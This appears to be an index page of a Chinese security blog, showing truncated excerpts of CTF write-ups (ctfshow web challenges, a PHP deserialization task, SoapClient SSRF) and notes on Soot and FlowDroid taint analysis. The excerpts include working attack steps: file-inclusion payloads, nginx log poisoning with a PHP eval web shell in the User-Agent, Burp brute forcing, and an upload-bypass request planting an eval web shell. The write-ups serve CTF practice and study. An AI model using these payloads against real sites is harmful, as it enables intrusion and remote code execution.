[toc]
一. 回顾是和 D3v3n 和 Lst4r 一块组的三人小队
9671 分, 排名 4/137
自己的话是 6 道 web 做了 5 道, 剩的一个 java 反序列化, 其他时间主要是在 MISC 方向帮帮队友. 密码 wish 套了个简单 web, 也算是看了眼题目
二. WP_Web1. Auto Unserialize [normal]这题的话正好比赛结束的时候 rd 问我了, 趁着刚好复现了就写了个比较详细的 wp , 这里直接黏贴过来了
虽然是一个有 16 解的 normal 难度的题目 , 但是从中却学到了不少东西, 题感也更像做过的为数不多的 web 题目 , 运气不错居然抢到了三血 ( 不容易 QwQ )
以下 wp 并不完全按照原题顺序分析
1) 文件上传123456789101112131415161718if (!empty($_FILES['file']['tmp_name'])) { $tmpName = $_FILES['file']['tmp_na ...
hacker
未读web 78 php 协议php://filter/read=convert.base64-encode/resource=flag.php
web 79 data 协议/?file=data://text/plain,("tac flag*");?>
web 80 日志包含配合日志文件进行 getshell,日志会记录访问 UA 信息，修改 UA 信息为后门代码，包含即执行后门代码
抓包->查看中间件->是 nginx
抓包->将 UA 改为后门代码->forward
包含：var/log/nginx/access.log
1/?file=/var/log/nginx/access.log
日志里会记录访问时间，访问者的 UA 信息->将 UA 信息改成后门代码->写入 log 文件（任何文件后缀都能被当作脚本去执行）
1User-Agent: <?php eval($_POST[c]);?>
web 81 日志包含响应头 ...
hacker
未读web 21以: username:passwd 然后 base64 加密 (a:a >> YTph)
Authorization: Basic YTph
发送 Intruder
payload : Custom iterator
option : < username >+< : >+
process : encode.base64
注意 需要取消勾选自动的 URL 编码
web 22子页面爆破 ( 跟御剑扫一样
挖掘工具 : BP 或者 在线子域名爆破 (zcjun.com)
web 231. python 爆破12345678if(isset($_GET['token'])){ $token = md5($_GET['token']); if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ if((intva ...
SoapClient 反序列化 SSRF
考点是利用 SoapClient 类反序列化 + CRLF 实现 SSRF，构造请求访问 flag.php 得到 flag反序列化后的 SoapClient 对象在调用不存在的方法时会调用 __call，在 user_agent 中插入 CRLF 也就是 \r\n 控制 header 和 body 构造想要的请求
0x01 Soap( 1 ) soap
SOAP : Simple Object Access Protocol简单对象访问协议
简单而言，SOAP 是连接或 Web 服务或客户端和 Web 服务之间的接口
其采用 HTTP 作为底层通讯协议，XML 作为数据传送的格式
SOAP 消息基本上是从发送端到接收端的单向传输，但它们常常结合起来执行类似于请求 / 应答的模式
一条 SOAP 消息的组成：一个包含有一个必需的 SOAP 的封装包，一个可选的 SOAP 标头和一个必需的 SOAP 体块的 XML 文档
12345678910111213141516171819<?xml v ...
hacker
未读
为大创做点准备
关于软件漏洞分析应用JAVA 学习为重中之重..
Soot 静态分析
FlowDroid 污点分析
参考文献移动应用安全常用组件Soot软件漏洞分析
2.1 数据流分析使用 Soot 进行程序静态分析, 参考https://fynch3r.github.io/soot%E7%9F%A5%E8%AF%86%E7%82%B9%E6%95%B4%E7%90%86/
2.2 污点分析使用 FlowDroid 进行
2.2.1 污点分析是什么污点 是在代码中直接引入 不受信任的数据源 或者 敏感数据 等数据源这些污点存在于代码中会导致存在 数据完整性 或者 数据保密性 受到威胁
污点分析是跟踪分析污点信息再程序中流动的技术漏洞分析中, 使用污点分析技术将所感兴趣的数据 ( 通常来自程序的外部输入 ) 标记为污点数据, 然后通过相关信息流动从而得知它们是否影响某些关键程序操作, 进而挖掘程序漏洞即 将程序是否存在某种漏洞的问题 转化为 “污点信息是否会被 Sink 点上的操作所使用” 的问题
污点分析就是分析程序中由污点源点 引入的数据是否能够不经清理 (校验等) 处理, 而直 ...
hacker
未读web 89123456789if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; }}
num 不能含有 0-9 , 但是需要是数字
传入空数组 ( 被认为是零 )
?num[]=1
web 901234567891011if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===44 ...
hacker
未读web 1查看源码 注释部分
web 2禁用右键和 F12, 使用 Ctrl+U 查看源文件(注释部分)
web 3BP 抓取返回包 或者 在’网络’中读取
web 4读取../robots.txt
web 5读取../index.phps
web 6读取../www.zip
web 7.git 泄露 , 访问../.git
web 8.svn 泄露 , 访问../.svn
web 9swp 临时文件泄露
访问 ../index.php.swp
(这是 vim 没有正常保存产生的 index.php 的备份文件)
web 10在’网络’中读取 cookie 值
web 11查找 flag.ctfshow.com 域名下的 txt 记录
域名 txt 记录查询
(这题可能环境坏了 直接给了 wp 和 flag 无法真正复现)
也可以用 nslookup
1nslookup -qt=txt flag.ctfshow.com
web 12提示说 “有时候网站上的公开信息，就是管理员常用密码”
某些信息:
1Help Line ...
hacker
未读web 151 前端检测在 bp 修改文件类型就能绕过前端检测
抓包上传
123456789101112POST /upload.php HTTP/1.1-----------------------------249623824540300659272997113405Content-Disposition: form-data; name="file"; filename="WD.php"Content-Type: image/png<?phpeval($_POST[1]);-----------------------------249623824540300659272997113405--AntSword: ../upload/WD.phpPassword: 1
web 152抓包上传
123456789101112POST /upload.php HTTP/1.1-----------------------------249623824540300659272997113405Content-Disposition: f ...
